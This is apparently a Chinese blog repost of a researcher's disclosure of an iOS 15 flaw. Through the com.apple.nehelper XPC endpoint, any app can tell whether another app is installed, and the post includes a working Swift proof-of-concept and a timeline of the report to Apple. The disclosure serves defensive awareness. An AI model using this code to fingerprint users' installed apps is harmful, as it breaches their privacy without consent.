Jailbreak #002

iOS开发

共 1514字,需浏览 4分钟

 ·

2021-10-19 21:56

👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇


来源丨小集(ID:zsxjtip)


报告人:illusionofchaos

可复现系统版本:iOS 15

该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。

XPC 端点 com.apple.nehelper 有一个任何应用都可以访问的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。这发生在 /usr/libexec/nehelper 中的 -[NEHelperCacheManager onQueueHandleMessage:] 中。

func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}

时间线:

2021 年 5 月 4 日 - illusionofchaos向 Apple 报告了该漏洞

5 月 4 日 - Apple 承认了illusionofchaos的报告

5 月 20 日 - illusionofchaos请求更新状态(但没有得到回复)

7 月 20 日 - illusionofchaos再次请求状态更新

8 月 12 日 - 苹果回复称仍在调查中

-End-

最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!

点击👆卡片,关注后回复【面试题】即可获取

在看点这里好文分享给更多人↓↓

浏览 4
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报